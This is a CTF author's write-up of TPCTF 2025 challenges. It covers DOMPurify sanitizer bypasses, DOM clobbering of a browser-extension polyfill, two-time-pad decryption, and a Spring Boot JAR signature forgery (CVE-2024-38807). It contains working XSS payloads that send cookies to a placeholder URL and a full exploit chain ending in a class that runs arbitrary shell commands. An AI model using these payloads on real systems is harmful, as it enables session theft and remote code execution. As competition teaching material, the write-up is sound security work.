TPCTF 2025 official write-up for my challenges: baby/safe layout (revenge), Are you incognito, encrypted chat, and verified toolbox.
This is my first time to write challenges in a public CTF. Feel free to leave a comment or add a reaction below if you have unintended solutions / suggestions / anything to say.
baby layout (81 solves)
One solution is to put {{
inside an attribute and to close the quote in the inner payload:
<img src="{{content}}">
" onerror="fetch('{YOUR_URL}'+document.cookie)
An alternative solution is to close a <textarea>
, like Bad usage | Not enough context | Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re:
<textarea>{{content}}</textarea>
<div id="</textarea><img src=x onerror=fetch('{YOUR_URL}'+document.cookie)>"></div>
safe layout (50 solves)
I made a mistake not banning data
and aria
attributes (ALLOW_
and ALLOW_
)1, so it can be solved in the same way as the baby version by using data-x
or aria-x
instead of other attributes like src
.
safe layout revenge (29 solves)
Tips: You can use Dom-Explorer to see DOMPurify output. It’s a great tool for playing with mXSS and sanitizers.
We need to get a malicious tag without using attributes. Normally, malicious tags will be either removed or escaped, but we can get unescaped angle brackets in <style>
. DOMPurify is very strict and any HTML tags in <style>
will be filtered. However, the regular expression only checks for /<[/\w]/
, so <{{
will not be filtered and can be used to get malicious tags.
Here the inner payload is used twice, first to close the <style>
tag and then to create the <img>
tag:
a<style>{{content}}<{{content}}</style>
img src onerror=fetch(`{YOUR_URL}/`+document.cookie) <style></style>
Another solution is similar but uses an empty {{
, like CVE-2023-482191.
Are you incognito? (3 solves)
Notice that the bot runs Chromium but the extension uses browser
instead of chrome
to access the extension API. It uses webextension
to provide the API under browser
. We can pass the check if we modify the browser
object. We cannot directly create JavaScript variables since the web page and the content script run JavaScript separately, but we can use DOM clobbering to do so.
We need browser
to pass the check in webextension
and then browser.extension.inIncognitoContext
to pass the check in the challenge:
<form id="browser" name="runtime"></form>
<form id="browser" name="extension">
<input name="inIncognitoContext">
</form>
An alternative solution is found by USTC-NEBULA, that is to create a global variable exports
instead of browser
to pass the check in babel
.
Some sites such as webhook.site use path instead of subdomain for each user and are thus unable to record the /flag
request. You can use requestrepo.com or your own server.
This appears to be a 0-day vulnerability2, but I couldn’t find a practical way to exploit it in real-world extensions. I suspect it may at most disrupt the normal execution of content scripts without posing significant security risks or providing strong attack incentives. Anyhow, I will report this to the upstream after the competition. It’s at least a bug if not a vulnerability.
P.S. A similar bug was once discovered and fixed in #153 but later introduced again in #582.
encrypted chat (15 solves)
All senders share the same key stream, so race condition will happen if two participants send messages at the same time, before receiving the message sent from the other side, and then the key stream will be reused.
So we need to locate the parts where the key is reused and then decrypt them. Since the messages are in ASCII, we can use the highest bit in each byte to find reused key. The remaining of this challenge is this assignment in CS255.
A simple approach is to XOR the messages and notice that XORing a letter with a space is to toggle its casing. So a character is likely to be a space if its XORs with others are letters. Then manually fix the broken words.
Another approach is to use some language model (e.g. GPT, a small one is enough) to calculate the probability of the next character (use the internal results, not to ask an AI assistant) and apply the Viterbi algorithm. Reference: A Natural Language Approach to Automated Cryptanalysis of Two-time Pads. This approach is more accurate but too expensive to implement during a CTF.3
Or you can use the known plaintext TPCTF{
as a starting point.
Here’s my script with an interactive solver to fix the broken words:
import json
from base64 import b64decode, b64encode
from string import ascii_letters
def solve(ciphertexts: list[bytes]):
n = len(ciphertexts)
m = len(ciphertexts[0])
key = bytearray(m)
for i in range(m):
count = [0] * n
for j, x in enumerate(ciphertexts):
for k, y in enumerate(ciphertexts[:j]):
if chr(x[i] ^ y[i]) in ascii_letters:
count[j] += 1
count[k] += 1
key[i] = 32 ^ ciphertexts[count.index(max(count))][i]
plaintexts = []
for ciphertext in ciphertexts:
plaintext = bytes(c ^ k for c, k in zip(ciphertext, key))
plaintexts.append(b64encode(plaintext).decode())
print(json.dumps(plaintexts))
with open('messages.txt') as f:
stream = b64decode(f.read())
n = len(stream)
high_bits = bytes([b >> 7 for b in stream])
i = 0
while i < n:
if high_bits.count(high_bits[i:i+50], i) < 5:
i += 1
continue
l = i + 10
r = i + 40
k = high_bits.count(high_bits[l:r], i)
while high_bits.count(high_bits[l-1:r], i) == k:
l -= 1
while high_bits.count(high_bits[l:r+1], i) == k:
r += 1
pattern = high_bits[l:r]
ciphertexts = []
while (p := high_bits.find(pattern, i)) != -1:
ciphertexts.append(stream[p:p+len(pattern)])
i = p + len(pattern)
solve(ciphertexts)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Encrypted Chat Solver</title>
<script src="https://unpkg.com/vue@3/dist/vue.global.prod.js"></script>
</head>
<body>
<div id="app">
<label>Input: <input v-model="input"></label>
<div style="font-family: monospace; font-size: 1rem; white-space: pre;">
<div v-for="(plaintext, i) of plaintexts" :key="i" style="margin-top: 1rem; display: flex; gap: 1px;">
<div v-for="(c, p) in plaintext" :key="p" @click="changeKey(i, p, c)" style="padding: 1px; cursor: pointer;">
<span v-if="isAsciiPrintable(c)">{{ c }}</span>
<span v-else style="color: red;">?</span>
</div>
</div>
</div>
</div>
<script>
const {createApp, ref, computed, watch} = Vue;
createApp({
setup() {
const input = ref('');
const bases = computed(() => {
try {
return JSON.parse(input.value).map((b64) => Array.from(atob(b64)));
} catch {
return [];
}
});
const key = ref([]);
watch(bases, (stream) => {
key.value = new Array(bases[0]?.length).fill(0);
});
const plaintexts = computed(() =>
bases.value.map((base) => {
return base.map((c, i) => String.fromCharCode(c.charCodeAt(0) ^ key.value[i]));
})
);
function isAsciiPrintable(c) {
return c.charCodeAt(0) >= 32 && c.charCodeAt(0) <= 126;
}
function changeKey(i, p, oldChar) {
const newChar = prompt(`Change '${oldChar}' to:`, oldChar)?.[0];
if (!newChar) return;
key.value[p] ^= plaintexts.value[i][p].charCodeAt(0) ^ newChar.charCodeAt(0);
}
return {
input,
plaintexts,
isAsciiPrintable,
changeKey,
}
},
}).mount('#app');
</script>
</body>
</html>
verified toolbox (1 solve)
It uses Spring Boot 3.3.2, so it’s CVE-2024-38807: Signature Forgery Vulnerability in Spring Boot’s Loader4.
The vulnerability is that spring-boot-loader uses JarInputStream
to verify the signatures but uses a custom ZipContent
class to load the contents. They parse a ZIP file differently and may read different contents from a specially crafted JAR file. JarInputStream
reads a JAR file from start to end, while ZipContent
read the end of central directory record at the end first. We can construct a malicious JAR file by concatenating the bytes of two JAR files, and then adjust the offset fields in the central directory headers and the end of central directory record of the second JAR file. The signature verifier will read the first JAR file while the content loader will read the second.
You can also find the commit that fixes this vulnerability along with the mismatched
test case, and then create the malicious JAR file based on mismatched
.
#!/bin/bash
set -euo pipefail
url="$1"
javac Tool.java
jar cf exp.jar Tool.class
rm -f keystore.jks
keytool -genkeypair \
-alias exp \
-dname 'CN=Unknown, OU=Unknown, O=Unknown, L=Unknown, ST=Unknown, C=Unknown' \
-keyalg DSA \
-keysize 2048 \
-validity 1 \
-keystore keystore.jks \
-storepass 133337
jarsigner -keystore keystore.jks -storepass 133337 exp.jar exp
curl -O "$url/toolbox/greeting.jar"
jar xf greeting.jar
python exp.py
jar cf0 nested.jar inner.jar
curl -F [email protected] -F path=inner.jar -F input='/readflag give me the flag' "$url"/run
with open('hello.jar', 'rb') as f:
signed = f.read()
with open('exp.jar', 'rb') as f:
exp = f.read()
shift = len(signed)
exp_list = list(exp)
eocd_start = exp.rfind(b'PK\x05\x06')
cd_offset = int.from_bytes(exp[eocd_start+16:eocd_start+20], 'little')
new_cd_offset = (cd_offset + shift).to_bytes(4, 'little')
exp_list[eocd_start+16:eocd_start+20] = new_cd_offset
cd_start = cd_offset
pos = cd_start
while pos < eocd_start:
if exp[pos:pos+4] == b'PK\x01\x02':
lfh_offset = int.from_bytes(exp[pos+42:pos+46], 'little')
new_lfh_offset = (lfh_offset + shift).to_bytes(4, 'little')
exp_list[pos+42:pos+46] = new_lfh_offset
pos += 46
else:
pos += 1
modified_exp = bytes(exp_list)
with open('inner.jar', 'wb') as f:
f.write(signed)
f.write(modified_exp)
import java.io.ByteArrayOutputStream;
public class Tool {
public static String run(String cmd) {
try {
ProcessBuilder processBuilder = new ProcessBuilder("sh", "-c", cmd);
Process process = processBuilder.start();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write(String.format("\n$ %s\n", cmd).getBytes());
process.getInputStream().transferTo(bos);
process.getErrorStream().transferTo(bos);
return bos.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
Footnotes
-
I created this challenge before this blog post was published. I did notice it before the event, but apparently I did not read it very carefully :( ↩ ↩2
-
The original version of this challenge was a line
const
instead of the library, but I thought it was too obvious and then found thatapi = globalThis . browser || globalThis . chrome webextension
was also vulnerable. ↩- polyfill -
I have actually implemented something similar before. It was able to decrypt MTP for various file types besides natural language. Specifically, it was used to decrypt the Conti ransomware. ↩
-
This CVE is found by me. ↩